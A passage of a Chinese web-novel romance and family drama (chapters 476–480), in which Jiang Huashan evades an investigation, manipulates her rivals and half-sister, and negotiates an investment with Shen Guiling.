从沈归灵和沈兰晞提升为一星上尉后,这还是第一次出现在公众面前。 穿着军官制服的三人英气逼人,但最打眼的还是黑色军制肩章上的银色五角星,这在同辈里已经是一骑绝尘的存在。 沈兰晞神情淡漠,随意环顾了一圈,目光若有似无扫了轮椅一眼,语气甚是疏离。 “涉事人员都在这了?” 姜花衫,“……” 蔡署长点头,“都在,都在。” 同样的年纪,人家已经是代理执行官,他们却是被审问的罪犯,这大概是同圈人最不想遇见的尴尬局面之一。 余笙和苏韵神情略有些不自然,低头不语。 只有姜晚意没搞清楚情况,见沈家一下来了三个人,眼里迸发难以抑制的欣喜,尤其在看见沈归灵后,情难自禁拽了拽姜花衫,“姐姐,是阿灵哥他们!这下我们肯定没事。” 姜花衫嫌弃抽回手,还没开口头顶突然覆上一层阴翳。 眼前突然窜出三道颀长身影,188高的人墙几乎挡住了她面前所有的光。 “……” 沈清予吊梢着丹凤眼,似笑非笑,“入的什么会啊?这么牛?说来听听?” “……”看来是听见她刚刚说的话了,姜花衫眼角抽了抽,选择性失聪。 沈兰晞扫了周宴珩一眼,不温不火,“从西林教会案后,我国对所有涉黑势力零容忍,一旦发现绝不姑息。” 周宴珩嘴角的笑意淡了几分。 姜花衫继续耳背。 沈归灵见状拿出手机,对着她拍了张照片。 “你干嘛?”姜花衫立马有了反应,凶巴巴指着他。 沈归灵眼皮都没抬,专心致志盯着手机,“给爷爷报平安,你们学院那边说你没参加迎新晚会,爷爷还在担心你,既然工作是时候遇上了,理应告知一声。” “……” 一个个的! 真是邪了门,每次对付她的时候都出奇得团结。 好汉不吃眼前亏,姜花衫扯着嘴角,“几个熟人,何必这么较真呢?不是还要调查工作吗?赶紧去吧?” 别老盯着我。 沈归灵笑了笑,随意抽了把椅子与她对视而坐,煞有介事拿出翻开调查本。 “你现在是这起案件的头号嫌疑犯,为了保证调查结果的公正性,请不要随便攀扯关系。” 姜花衫,“……” “第一个问题,S国十三个目击者均指证是你鞭打的白蒂娜,你认不认同?” “我不……” 沈归灵抬眸,语气寻常,“不要撒谎。” “……”姜花衫顿了顿,扯着嘴角,“认同。” 这就认了? 姜晚意的心一下悬了起来,白蒂娜被打成那样,S国一定不会善罢甘休的。 沈归灵,“你之前认识白蒂娜吗?是否与她存在过节?” 姜花衫眼珠转了转,清了清嗓子,“我不认识她,今天是我第一次见她。” “不认识?”沈归灵放下笔,眉头微蹙,仿佛发现了一个天大的疑点,“第一次见面就把人打成那样?” 姜花衫看了他一眼,慢悠悠抬起手,指着一旁的周宴珩,“那还不是因为我们会长。” “……” 周宴珩咬着腮帮,活脱脱被气笑了。 沈归灵扫了周宴珩一眼,一直紧绷的嘴角略微有了松动,“展开说说。” 姜花衫,“这个白蒂娜很是痴迷我们会长,对他死缠烂打,会长对此厌烦不已,于是……便指挥我找个由头教训白蒂娜一顿,好让她知难而退。” 沈兰晞和沈清予见姜花衫毫不犹豫就卖了周宴珩,神色肉眼可见地缓和了许多。 沈清予,“这么说这件事另有主谋,你只不过是听命行事?” “我草!”关鹤没忍住,掀桌怒起! 他实在是听不下去了,他们还站在这呢,姜花衫就敢当着他们的面扣屎盆子? “你放屁!我……你!姜花衫你他么要点脸吧!人是你打了,关阿珩什么事?明明是因为白蒂娜欺负你妹妹,你气不过才动手的!” 姜花衫痛心疾首,难以置信看着他,“狡兔死,良狗烹!没想到你们竟然是这种人!” “我!!!”关鹤差点气背过去了,回头看向周宴珩,“草!你说两句啊?” 这气急败坏的样子不知道又提供了多少情绪价值? 周宴珩不语,只看了他一眼又打量起姜花衫来。难怪一开始就有恃无恐,原来早就想好了要嫁祸他。 都这个时候了还看? 关鹤只觉天都塌了,怒不可遏指着顾玉珠,“你说!是不是因为白蒂娜羞辱这女的,姜花衫才发癫的?” 顾玉珠左右看了看,神情尴尬,她早就发了现场照片给沈清予,沈家人不可能不知道真相。 如果这个时候揭穿姜花衫得罪的是沈家,但要是不说,周宴珩会不会报复她? 姜花衫挑眉,自顾接话,“关鹤,你们不认就不认,但说我是为了所谓的妹妹是不是太荒唐了?整个鲸港谁不知道,我姜花衫只有一个妹妹,那就是傅绥尔,我怎么可能会因为一个外人鞭打S国的公主呢?” 姜晚意霎时脸色惨白,难以置信看着姜花衫。 不是的,姐姐应该是为了开脱才这么说的。 可是…… 姜花衫的眼里完全没有任何遮掩,甚至都不愿意看她一眼。 她好像是认真的。 关鹤没见过这么厚颜无耻的人,气的直喘粗气,“我草你……” “阿鹤。”周宴珩踢了踢他的椅子,“坐下。” 关鹤原本还是不甘心,但对上周宴珩的目光后立马就沉默了,冷静过后一声不吭坐了回去。 沈归灵丝毫不受外界影响,挑着有用的证词一笔一划记录后,点着纸面,“最后一个问题,你是否认为殴打白蒂娜一事是受人蛊惑蒙蔽?” “卧槽……” 还可以这么引导提问??! 关鹤的白磷人格突然被唤醒,火苗蹭的一下往上窜,“草,你怎么不干脆直接问是不是我们逼她干的?!” 沈归灵想了想,“是不是他们逼你的?” 关鹤,“………” 姜花衫点头。 关鹤爆了,跳脚起身,“还有傅文博,傅文博被她们两姐妹打成了猪头脸!!!难道也是受我们指使吗?” 姜花衫一脸无辜,“不关我的事,对傅文博动手的是周宴珩的保镖和姜晚意。” …… 第476章 三个哥哥就在门口 人怎么可以厚颜无耻到这种地步? “……”关鹤气麻了,一时反应不过来。 姜晚意人都吓麻,一时情急忘了分寸,泪眼汪汪望着沈归灵,“阿灵哥哥,不是的!是姐姐逼我打的。” “阿灵哥哥,你一定要相信我。” 之前在沈园,她是唯一一个对沈归灵释放好意的人,那个时候她就感觉沈归灵是个很温柔的人,他跟沈园那样养尊处优的少爷不一样,他一定能看出姜花衫在说谎,他会帮她吗? 姜花衫几乎不由扯了扯嘴角。 沈归灵抬眸看了她一眼,继续垂眸书写笔录,片刻后起身收笔,将调查记录转手递给沈兰晞。 沈兰晞扫了一眼,签字落款后递给沈清予。 沈清予接过看都没看,直接署名。 一份笔录,三位执行官同时签字,笔录才能生效。 沈兰晞,“感谢诸位的配合,告辞。”说罢,转头出了会议厅。 众人怔愣,一时没有反应过来,怎么就告辞了?调查结束了? 贵女们或多或少脸上都有些不自然,天知道当他们看见沈家三位少爷同时出面时心里有多激动,将门双星啊,虽然事情不光彩,但还是忍不住期待被拷问的环节,结果还没轮到她们就结束了?! 余笙表现得更为洒脱,见沈归灵整理好笔录就要走,立马主动上前打招呼。 “沈归灵。” 沈归灵脚步微顿,礼貌点头。 余笙左右看了看,眼带笑意,“S国那边的情况怎么样了?我们什么时候可以回家啊?” 女生们立马紧张起来,余笙问出了所有人的心声。 沈归灵,“取证环节已经结束了,事情也已经通知你们的家人了,等他们来了你们就可以回家了。” “太好了!” 女生们立马舒了一口气,气氛一下轻松了不少。 “那……” 沈归灵颔首,与沈清予一前一后出了会议室。 姜花衫,“……” 这三个跟约好了似的,从头到尾都没有看她一眼。 等人一走,会议室立马响起了窃窃低语声,众人的目光也变得微妙起来,偷偷打量姜花衫和周宴珩。 关鹤起身,拄着拐杖刚迈出第一步,会议室的门再次打开。 蔡署长故作严肃,“姜花衫,你可以回家了。” 众人一愣,还没反应过来关鹤又炸了,“草!她是第一嫌疑犯!凭什么她第一个走?!你徇私舞弊信不信我举报你!” 蔡署长公事公办,“按流程,家属在保释单上签了字就可以走了,姜花衫的三个哥哥就在门口,她当然可以第一个走。” “……”关鹤被怼的哑口无言,咬着牙关连连点头。 上一秒还是拷问的执行官,下一秒就成了保释的哥哥,谁他妈有沈家人会玩啊。 “哎!累一天了,回家休息。” 姜花衫伸了伸懒腰,溜着轮椅经过周宴珩的时候还不忘歪头告别,“回见啊,会长。” 周宴珩双手抱胸,抬脚勾住她的车轮,“下个周末俱乐部有活动,别忘了准时到。” 姜花衫略有些惊讶,“你还要我?” 周宴珩,“要啊。” 姜花衫点头,摆摆手,“知道了,周末见~” “姐姐!!!”姜晚意哭着扑倒在轮椅旁,“姐姐,你不能丢下我啊!求求你,把我一起带出去吧!” 姜花衫摊手,“抱歉啊,只有家属才能保释,我们没有这层关系,恕我爱莫能助。” “不要!”姜晚意死死拽着轮椅,方眉如果知道这件事她就完了,还有傅文博,她当众给他难堪,如果没有沈家庇护她出了这个门就是死,“我错了!姐姐我错了,我那个时候还小不懂事,姐姐,求求你不要这么对我。” 姜花衫笑了笑,转头看向蔡严,“蔡署长,麻烦帮我把不相干的人拖走。” 围观的女生纷纷变了脸色,原本她们也是看不惯白蒂娜欺负弱小,以为姜花衫挺身而出是替妹妹出气才选择帮着一起遮掩的,没想到她竟然转头不认人,许多人看不过去,忍不住开口指责。 “姜花衫,你别太过分了!” “就是,你妹妹都已经道歉了,没必要把人逼成这样吧?你这样和白蒂娜、傅文博有什么区别?” 姜花衫充耳不闻,低头看着指尖。 蔡严会意,朝身后警卫使了个眼色,两人一前一后把姜晚意拖开了一米远。 姜花衫推着轮椅,头也不回出了会议室。 关鹤目瞪口呆,一脸莫名其妙,“不是,她到底在玩什么?” 把白蒂娜打成那样还以为是个姐控,结果压根不把姜晚意当回事。 姜晚意哭的不成人样,周宴珩败兴扫了一眼便把目光转到了关鹤身上,“你一晚上咋咋呼呼想干嘛?” “????” 关鹤更莫名其妙了,“我……” “都是脖子上挂了个脑袋,你就不能沉稳一点?”周宴珩起身,看了蔡严一眼,目不斜视往大门走去。 过分了啊?! 他以前也这样,怎么没说他不沉稳? 关鹤拄着拐杖在后面追,“阿珩,你什么意思啊?” 周宴珩脚步一顿,侧身看向玻璃窗外。 一辆黑色的商务车停在警署厅正门口,沈兰晞、沈归灵、沈清予各自站在轮椅一步之外,姜花衫抬头看着三人的脸色,最后乖乖起身上了车。 关鹤顺着周宴珩的目光看去,脸色阴沉,“阿珩,这口气你能咽的下?” 有什么咽不下的? 他让姜花衫入会就是想把她拉进自己的圈子,她显然也明白这点,所以她故意闯祸让他兜着,她这是在警告他,小庙容不下她这尊大佛,想让他知难而退。 关鹤见周宴珩不接话,又问道,“阿珩,接下来我们怎么办?这次咱们是真的被她坑惨了!” 周宴珩目送了商务车离开,神色淡然,“能怎么办?黑锅是背定了,只能想办法处理了。” 沈家敢这么问,一定是查到了他和白蒂娜的关系,白蒂娜背后是S国,这件事最重要的是怎么跟女王交待,他父亲是外交部长,沈家显然是打算让周家帮着处理,所以才把他拉下水。 不得不说,这次是他轻敌了。 不过…… 周宴珩扯出一抹笑意,她越是不愿意低头,被驯服的过程才越是有趣。 …… 第477章 2vs2 车里的氛围异常低迷。 两两对望的尴尬情节瞬间梦回十三岁那年的三师会审。 还是当初家庭不圆满的老演员。 姜花衫抿着嘴角,左右看了看,决定主动一点。 “你们怎么都不说话啊?是天生不爱说话吗?” 三人同时挑眉,略带审视的目光更具有压迫性,仿佛三座巨山环绕。 “……” 姜花衫呵呵笑了笑,她早就发现了,要对付这三个必须逐一攻克,一旦他们合体只能先避其锋芒。 算了,不说话就不说话呗,反正难受的也不是她。 于是,她直接摆烂低头玩手机。 “叮咚——” 说来也巧,就在这时手机弹出一条好友申请。 沈归灵坐在姜花衫对面,见她眼底的眸光忽然动了一下,偏头看向车窗。 车窗的防窥黑膜宛如一面镜子,正好投射出姜花衫发光的手机屏幕。 周宴珩三个字异常醒目。 “……”沈归灵神情淡然看着给窗里的姜花衫,眸底的裹挟着蠢蠢欲动的暗涌。 沈兰晞坐在姜花衫的斜对面,以他的飞行员的视力,随意一瞥,车窗里的倒影便尽收眼底。 对此,姜花衫一无所知,认真思索了片刻,果断选择了添加。 沈兰晞指尖轻点扶手,眼梢莫名染上了一层寒霜。 周宴珩很快发来一则消息: -【锅我背了,周末晚七点,不要迟到。】 姜花衫呵呵笑了笑,正打算回话,沈归灵忽然开口。 “爷爷听说你回鲸港先去见了外人,对此很不满意。” 姜花衫愣了愣,很是不满瞪着眼前三人,“是不是你们三个打我小报告了?” 沈清予双手抱胸,“还用谁打报告吗?白蒂娜出事不过半个小时,白女王的电话就打到了沈园,你知道爷爷听到你鞭打白蒂娜的消息有多生气吗?” 不管任何时候,爷爷两个字都是她的死穴。 姜花衫当即忘了周宴珩的存在,放下手机,眉宇间有一丝丝紧张,“有多生气?” 沈兰晞,“爷爷这会儿还没有吃晚饭。” “……”姜花衫很怀疑自己是不是被耍了,干巴巴回道,“我也没吃,那正好,回去我陪爷爷吃饭。” 三人沉默,没有接话。 什么意思,她都说自己没吃饭了,三傻怎么一点表示都没有? 沈清予和沈兰晞也就算了,怎么沈龟灵也是这死出反应? 果然,三傻一旦形成三角关系就棘手的很,得想到办法才行。 姜花衫单手托腮,转头看向窗外。 忽然,她愣了愣,对着眼前的玻璃镜招手,黑镜里的女孩儿跟着招手。 “……” 姜花衫皱眉,偷偷拿出手机看了一眼又默默收了回去。 他们,应该没有看到吧? * 一路无话,到了沈园院外,沈执早已恭候多时。 “少爷,小姐,老爷子在沁园。”说罢,便主动在前面领路。 自从姜花衫知道沈执是内鬼后,对他的所有言行几乎本能地产生了防备心理。 趁着沈兰晞和沈归灵不注意,她偷偷拽了拽沈清予的小拇指。 沈清予脸色微变,半边肩膀顿时化成了硬块。 姜花衫故意拉着沈清予落后,等到前面三人绕过照壁,立马小声说道,“清予哥,沈兰晞和沈归灵不近人情,你什么时候也跟他们是一样的了?” 沈清予不语,低头看着被勾住的小拇指。 姜花衫左右看了看,“待会儿要是爷爷问我什么,你帮我说话,下次我帮你,怎么样?” 沈清予不自觉勾了勾小拇指,状似不在意,“你不是有你们会长撑腰天不怕地不怕吗?找我说什么好话?” 一想到这小没良心的三催四请不回家,转头跟周宴珩打得火热他就来气,要不是担心自己暴露,刚刚在警署厅他要出手教训周宴珩了。 什么玩意儿,凭他也敢觊觎姜花衫。 “诶~~~”姜花衫踮着脚凑近,拉着沈清予的小拇指左右晃动,“那都是些骗人的鬼话,哪能当真?再说!周宴珩哪能跟你比?我们才是一家人,我当然是更相信你咯~” 突如其来的亲切让沈清予另外半边骨头都麻了,怦然心动的情愫不断刺激肾上腺素。 他突然觉得喉咙有些痒,凸起的喉结轻轻滚动,恣意不羁的眉眼开始摇摆不定,“你真这么想?” 姜花衫举手,“当然!要有一天你和周宴珩同时掉水里了,我眼睛都不眨一定先救你。” 沈清予愉悦了,嘴角绷不住地一翘再翘。 “行了,你也别怕,爷爷那有我,保管说不着你什么。” 第478章 借钱龟 眼看事情尘埃落地,再没有转圜的余地,姜花衫抿嘴笑了笑。 “知道了。” 沈庄十分欣慰,“行了,你们也累了一天了,先回去好好休息吧。” 姜花衫忽然想到什么,有些不好意思,“爷爷,听说您晚饭都没有吃,要不我陪您吃点?” 沈庄笑着摆摆手,“不用,老了,中午吃太多积了食,这会儿还不饿,菊园那边已经吩咐下去了,你吃了东西早点休息。” “……”姜花衫扭着脖子凶巴巴瞪着沈兰晞,就知道这家伙没安好心。 沈兰晞不回应,率先起身,朝沈庄点了点头,转身出了花厅。 沈归灵和沈清予起身告辞,一前一后出了沁园。 因为联盟的关系,沈清予特意在沁园门外等着姜花衫。 两人并肩而行,沈清予心情愉悦,姜花衫眉头都快拧成了麻花。 沈兰晞竟然敢当着爷爷的面管束她,关键是爷爷竟然还默许了?照这么下去,她在爷爷心中的地位岌岌可危啊! 越想越不对劲,姜花衫盯着沈清予上下打量,“你刚刚为什么不帮我说话?” 沈清予挑了挑眉梢,“我还没有帮你说话?要不是我拿视频出来,爷爷真误会了你和周宴珩就不是禁足那么简单了。” 姜花衫听出了话外之音,脚步一顿,“什么意思啊?爷爷不是说我喜欢谁都可以吗?” “这话你也信?”沈清予想了想,歪着头侧向她的肩膀,“前几日周家老爷子来沈园做客,爷爷特意还邀请了小叔叔。” 姜花衫愣了愣,当即反应过来,“你是说?周家想跟咱们结亲,他们看上了枝枝?” 沈清予盯着她的脸打量,见她完全不在意周宴珩,眼里多了欢喜恣意,“嗯,你知道就好。周家前脚才对五叔一家示好,你后脚就招惹上周宴珩,你让五叔和枝枝怎么想?爷爷就算宠你,也不能不考虑其他人的感受。” 姜花衫顿时沉下脸,用力推了沈清予一把,“绝交!” 沈清予不防,差点一头栽倒,堪堪稳住身子一脸懵逼看着她,“搞什么?” 姜花衫,“什么我让五叔枝枝怎么想?我看是你会怎么想吧?照你这么说,就因为周家有意枝枝,只要我跟周宴珩有什么就一定是我的错?什么我招惹他,就不能是他勾引我吗?沈清予,我今天算是知道了!原来你一直都瞧不起我?” “不是……”沈清予没想到一句话惹了这么大的祸,顿时头疼,“我是这个意思吗?” 他本意不过是想告诉姜花衫周家的打算,想让她离周宴珩远远的。 “是不是你心里很清楚。绝交!” 姜花衫仿佛受到了天大的侮辱,斗牛般横冲直撞往前跑,最前面的沈兰晞没有防备,被她一头撞进了花丛。 “……” 没等沈兰晞发作,姜花衫先发制人指着他,态度恶劣,“你们两个一丘之貉,沈兰晞,我就知道你一直看不起我!绝交!” 骂完气冲冲朝菊园跑去。 “……” 沈兰晞还没开口人就没了影,沉默片刻,起身拍了拍肩上的枝,语气不善,“沈清予,你多大的人了?还玩这种上不了台面的手段?” “我……”沈清予咬牙,当场被气笑了。 沈归灵默默从廊架后走了出来,微笑点头直接越过沈兰晞。 两人并肩时,军章上的银色五角星同时折射着皎白的月光。 * “张妈,我饿了……” 姜花衫兴高采烈冲进菊园,院里的阿姨赶忙从屋里迎了出来,笑着给她张罗吃的。 “小姐,您回来了?晚饭一直给您备着,您是想在院里吃还是回屋吃啊?” 姜花衫这才想起张茹已经被她请出了沈园,她脸上的笑容淡了几分,“就在院里吃吧。” “好嘞。” 三个阿姨忙前忙后摆满了一桌,姜花衫随便吃几口转身回了绣楼。 刚进屋,她就察觉到了一丝不对劲,衣帽间、首饰柜、书桌都有整理的痕迹。 虽说她不在家,阿姨收拾房间合乎情理,但没必要连放在抽屉里的东西也特意拿出来重新收纳吧? 看来有人趁她不在家,已经按耐不住了,就是不知道那群垃圾查到了什么? 姜花衫不甚在意,决定先泡个热水澡解解乏,今天运动量太大了,胳膊都甩麻了。 * 警署厅。 会议室的人渐渐散去,最后只剩下姜晚意一个人对着窗外的月亮发呆。 “姜晚意是吧?” 一个胖胖的男警员推门而入,对着名单核实了一番,语气不耐,“跟我走吧。” 姜晚意回神,小心翼翼站起身,“去哪?” “现在已经过了十二点了,你的家属联系不上无法保释,所以需要将你转移到警署羁押所。” 姜晚意脸色煞白,“我……我没有犯事,我不去羁押所。” 那里都是关押罪犯的地方,要真进去了,她的名声也就没了。 “少啰嗦!现在不是跟你商量,是通知!”男警员抬高了语调,“也不看看自己的身份?还当自己跟那些少爷小姐一样?” 姜晚意犹豫片刻,小声道,“我能不能再打个电话?” 男警员正要拒绝,她立马强调,“我姐姐是姜花衫,只要我好好跟她说,她不会不管我的。” “行吧,跟我去联络室。” “谢谢。”姜晚意生怕男人后悔,立马跟了出去。 到了联络室,男人跟里面的工作人员简单交待了一番,拿着话筒递给姜晚意,“快点!不要让我们为难。” “谢谢。” 姜晚意接过电话,犹豫片刻,最后还是拨通了姜花衫的电话。 她跟姜花衫说自己什么都不懂不过是狡辩的说辞,其实她什么都懂。 在方眉心里,最爱的永远是名利。如果姜花衫还是她手里的傀儡,母亲或许会因为已经得到的权势而优待她这个女儿,但如果一个女儿脱离了掌控,那么另一个就成了唯一的选择。 马场的事闹得这么大,甚至还牵扯到了邻国公主,以方眉的性子是不可能出面保她的。 她也曾想过周宴珩,当初她特意去地下停车场找周宴珩求证,就是为了弄清楚他的目的。 很显然,周宴珩并非她的救赎,这个人甚至比方眉还可怕,求他也不过是从一个深渊爬进另一个深渊。 至于姜花衫,她敢撞关鹤,敢鞭打白蒂娜,甚至还敢让周宴珩背黑锅。 她如果这个世界上有谁能帮她摆脱傀儡的宿命,也只能是她了。 “嘟——” 电话响了许久才接通。 没等那边开口,姜晚意捧着电话,声音轻柔:“姐姐,是我,我知道你想知道什么?只要姐姐愿意帮我,我也愿意帮姐姐。” “……” * 第479章 一起好好活着 姜花衫沉默片刻,对上沈归灵的目光,“这三亿就当是爷爷借给你的,反正我的钱也是沈家给的,三年以后的盈利你都给爷爷,怎么样?” 沈归灵眼睑微沉,略带思量打量她。 “你确定?” 这个时候谁借他三亿,他就欠下了谁的人情,他来找姜花衫无非是让两人的关系捆绑地再深刻一些,但她好像并不明白这个道理,饶是他几乎把整个身后都留给了她,她也只会想着爷爷。 姜花衫点头,“确定。” 沈归灵垂眸,眼底满是阴翳,“你就没有想过我或许会失败?” 按正常逻辑,一般人听见他这样的想法都会先提出质疑,护卫舰可不是随便什么人能造出来的,一旦失败,他连偿还本金的能力都没有,但姜花衫似乎从未考虑过这一点,只关心利益如何分配。 姜花衫当然不担心,巡海舰而已,四年后,沈归灵拥有的潜艇和驱逐舰几乎覆盖整个东西海域。 忽然她眼睛一亮,沈归灵现在缺钱,可她不缺钱啊,不如替爷爷买下这只潜力股? 打定主意后,她故作一副不差钱的样子,“投资嘛,有赚就有赔,有什么好担心的?不过你这倒是提醒我了,三亿可不是小数目,万一你赔了怎么办?要不这样,这钱就算我入股的本金,风险同担,万一你失败了本金我就不要了,但倘若侥幸成功,我就是原始股东,你的战舰要分爷爷一半,怎么样?” 用区区三个亿骗了沈归灵上百亿,她可真是个平平无奇的小天才。 沈归灵看了她一眼,“不行。” 姜花衫原以为他会一口答应,没想到吃了个闭门羹,顿时不乐意了,“为什么不行?” 沈归灵看着她,眼神格外认真,“若是三年以后只归还本金和利息,我同意给爷爷,但若是要分我的战舰,我只跟你签。” 他仿佛知道自己未来会拥有很多,这句我只跟你签其实是,我只给你。 姜花衫怔愣,目光闪烁,“我和爷爷不都一样吗?” 沈归灵,“不一样,要哪种,你自己选。” “……”姜花衫没忍住瞪了他一眼,“你什么态度?借钱还这么嚣张?” 沈归灵识相闭嘴。 姜花衫又想了想,勉为其难,“那……就我吧。” 爷爷并不缺钱,三亿和三十亿对沈家来说并没有什么区别。 现在关键是要防着沈归灵与沈家决裂的剧情,若是她成了战舰的原始股,只要她在沈家的一天,沈归灵就没法对沈家开火。 沈归灵抬眸,若有所思,“想好了?” “嗯。”姜花衫点头应道,“有言在先,三个亿不是小数目,我也是砸锅卖铁才能凑上的,所以你必须给我签合同,立字据,不然万一你反悔我可就人财两空了。” 沈归灵勾唇,眼里莫名染上了笑意。 “好。” 他当然知道凑这笔钱有多不容易,纵是沈娇对姜花衫出手再大方,三个亿的现金也不是说有就有的。 但正是因为如此,这件事才做的有价值。 人和人之间的羁绊都是从亏欠开始的,他现在欠她三个亿,已经远远超出了她对任何人的成本投入。 换言之,他是她花了最多心思的鱼,若没有更高的替代,她一定舍不得丢下他。 姜花衫完全不知自己已经钻进了沈归灵的成本陷阱,见他应得爽快,立马又打起的小算盘。 “我想了想,这么多钱光立字据和合同还是不够,不然再加一份遗嘱?” 沈归灵,“……” “俗话说,天有不测风云,人有旦夕祸福,万一我还没等到你还钱就死了怎么办?所以,我觉得可以再加一份遗嘱,如果我不幸离世,股权由爷爷继承。” 沈归灵低眸,脸色冷了几分,“不签。” 姜花衫皱眉,“怎么又不签?” 沈归灵,“之前的合同加一条,如果债主中途死亡,身死债消。” “……”姜花衫被气到了,这算盘珠子都快崩她脸上了,“不签。” 沈归灵一言不发看着她,片刻后转头跳上窗台。 嘿!他还生气耍性子了? 姜花衫气极,想也没想,捡起地上的香水瓶对着沈归灵的肩膀砸了过去。 “砰——” 香水瓶撞上肩膀掉落在妆台上,玻璃飞溅,空气里铺满了清幽绵密的花香味。 沈归灵身形顿住,肩膀微微下沉,回身跳下了窗台。 他慢慢走近她,逆着光低头轻哄,“我们,就不能一起好好活着吗?” * 兰园。 高止拿着放大镜对着手里的白色衬衣一寸一寸慢慢扫视,在小心取下第十二根草屑后,义无反顾敲响了书房的推拉门。 “少爷。” 沈兰晞正靠在贵妃榻上看书。 “进来。” 高止进屋,手里端着一张木制托盘,上面整整齐齐、从长到短并列摆放着十二根草屑。 “少爷,您看这是什么?” 沈兰晞抬眸看了一眼,“不是让你拿去洗吗?” 高止摇头,“少爷您糊涂啊!您难道就不生气吗?以前姜小姐只是言语顶撞那都无伤大雅,但她这次是不是太过分了?她竟然出手打你!这性质可就完全不一样了。” 沈兰晞,“那不算打。” 油盐不进! 高止据理力争,“您就别嘴硬了,您腰上都有淤青不是打是什么?” 沈兰晞皱眉,一言不发看着他。 高止,“少爷,您想想,您今天不过就是让她禁足她就敢跟对您动手,以后要再有什么她岂不是要上天?这已经是很危险的信号了!” 沈兰晞眸光暗了暗,若有所思合上书。 有戏! 高止端着托盘凑上前,“少爷,是不是不对劲?!” 沈兰晞点头,“往常就算再生气也没直接动手,看来这次是真气得不行。” 说着,不由冷了脸,“也不知道沈清予到底跟她说了什么?” 高止木着脸,“……” 沈兰晞重新打开书,状似不经意翻页,排列整齐的草屑瞬间被吹散。 “任何没有信任基础的谗言都是一盘散沙,这种话以后不要再说了,出去。” 高止,“……” 皇帝不急太监急,他算是明白了,菜鸡其实什么都懂。 * 第480章 安插眼线 姜花衫看了姜晚意一眼,面无表情甩开她的手,“是吗?谁啊?说来听听。” “你……”姜晚意愣了愣,“你早就知道了?” 若不是事先知道,她怎么会是这种反应? 但姜晚意震惊的是,姜花衫又不在方眉身边,她是怎么知道的? 姜花衫气定神闲,“是啊,所以你的信息最好有价值一点,否则,你对我就失去了价值可言。” 姜晚意难以置信,这是她第一次这么直面感受到姜花衫的恐怖。 冷血无情,与从前那个事事都护着她的姐姐比,简直判若两人。 她不甘心,声音颤抖,“价值?如你所说,我要是没有一点价值你就真打算把我丢在警署厅自生自灭?” “可,要不是你,我根本不会惹上白蒂娜那样的人,你自己不是都承认了吗?你根本就没想过要救我。马场的事,完全是你们这些贵族小姐的争斗,我只是被牵连进来的羔羊,你为什么要这么对我?还有那个周宴珩,他一开始的目标就是你吧?” 姜花衫皱眉,隐隐有些不耐,“你到底说不说?” 姜晚意摇头,眼眶湿润看着她。 “……”姜花衫脸色瞬间冷了下来,“姜晚意,我的时间很宝贵,你现在不说以后就永远不要说了。还有,别跟我打感情牌,你的演技太拙劣了,除了你自己谁都骗不了。” 姜晚意依旧满脸委屈,“姐姐,你到底为什么这么讨厌我?” 为什么? 能说出被她牵连这种话,说明毒蛇还是毒蛇。 姜晚意现在扮弱,不过是因为牙齿上的毒素还不够致命,并不代表她不会咬人。 姜花衫懒得跟她废话,调头就走。 姜晚意脸色微变,立马追上前拦住她,“我话还没说完,你就这么走了?” 姜花衫冷笑,“你有困难我就必须帮忙,你演戏我就必须配合,你没说完我就必须等着?姜晚意,你不觉得自己很可笑?” 姜晚意被说地当场一愣,一时不知该如何应对。 姜花衫,“你也不要为难自己了,姐妹情深的戏码真的不适合你,趁着现在还有利可谈就该好好想想能置换什么条件?真诚一点,起码恶得坦荡。” 姜晚意眼睑微垂,沉默片刻低头抹去眼角的泪水,“我并不知道跟妈妈联系的那个沈家人是谁,但我有别的信息可以置换。” 姜花衫双手抱胸,“什么?” 姜晚意,“有次我跟妈妈去了红港岸,我偷听到了她和温萝的谈话,这次她来鲸港正是受沈家那位的指使。” 总算拿到一点有用的信息了。 姜花衫神色淡淡,“红港岸?温萝?” “温萝是红港岸夜总会的老板娘,她手里有很多鲸港名流的资源,妈妈为了包装我,曾带我去见过这个女人。后来也不知道她们达成了什么协议?温萝不停地给我介绍男人,我也是通过她们才搭上了傅文博。” 姜晚意现在年纪还小,谈起这段经历脸色明显有些难看,一时没忍住苦笑道,“你每天锦衣玉食,根本不知道我现在过的是什么样的生活?我每天醒来的第一件事就是担心自己今天会不会被卖掉,我……” 姜花衫压根不感兴趣,直接打断她,“你说的那个红港岸夜总会具体位置在哪?” “……”姜晚意咬了咬牙,“在上港富人区的度假村里,A区B-14。” “行了。”姜花衫摆摆手,“你可以回去了。” “姐姐!”姜晚意唯恐失去这次机会,一把拽着她,“我求求你了,救救我吧,方眉现在想钱想疯了,我现在回去还是改变不了被控制的结果。还有那个傅文博,他一定不会放过我的。我求求,带我出来吧?” 姜花衫有些为难,“救你?抱歉,我自己都还是个孩子,你的问题应该找警察。” “姐姐。”姜晚意扑通一声跪下,抱着姜花衫的腿苦苦哀求。 “没有用的, 只有你能救我,我求求你带我回沈园吧?这辈子我就算当牛做马也一定会报答你的恩情的。” 回沈园? 姜花衫笑了笑,倒是打了一手好算盘。 见她无动于衷,姜晚意忽然想起什么,急切说道,“我想起来了,她们那次谈话好像还提到了沈娇,妈妈这次之所以来鲸港好像是和沈娇有关。” 姜花衫眸光微动,连拽了几次都没能摆脱,故作不在意,“是吗?好端端地提干妈做什么?你该不会是想让我帮你故意撒谎骗我吧?” “我没有,你要是不信,我可以对天发誓。”姜晚意死死拽着她的裤脚,“我可以帮你查出幕后的人是谁?万一妈妈对沈家有什么企图我也可以暗中通知你,我只求你带我离开泥潭,我不想做妈妈手里的傀儡。” 姜花衫垂眸,面无表情看着她,迄今为止,姜晚意终于说出了她最想达成的目的。 方眉不会无缘无故回来,这其中定然有什么不可告人的秘密,但她最害怕的就是这秘密与沈娇有关,所以在方眉登门沈园时,她就已经想好了怎么在方眉身边埋雷? 她大闹订婚现场,开车撞关鹤,鞭打白蒂娜,陷害周宴珩都是做给姜晚意看的,为的就是让姜晚意相信,这个世界上只有她才能解救她。 这样,在姜晚意走投无路时,只能回来找她为她所用。 见她不说话,姜晚意的心一下悬了起来,她已经亮出了她唯一的底牌,如果姜花衫不接受,迎接她的将是万丈深渊,这笔交易姜花衫还有退路,但她已经无路可退。 “姐姐……”她一脸乞求,卑微到了尘埃。 沉默许久后,姜花衫点头,“好。如果你真能做到如你所说,也算功劳一件,我会帮你脱离方眉。” “真的吗?”姜晚意眼里顿时迸发出神采,“你答应了。” 姜花衫,“嗯。但你记住,要是你敢耍我,或者中途叛变……” “我不会!”姜晚意举手发誓,“我一定信守承诺,也希望姐姐不要食言。” 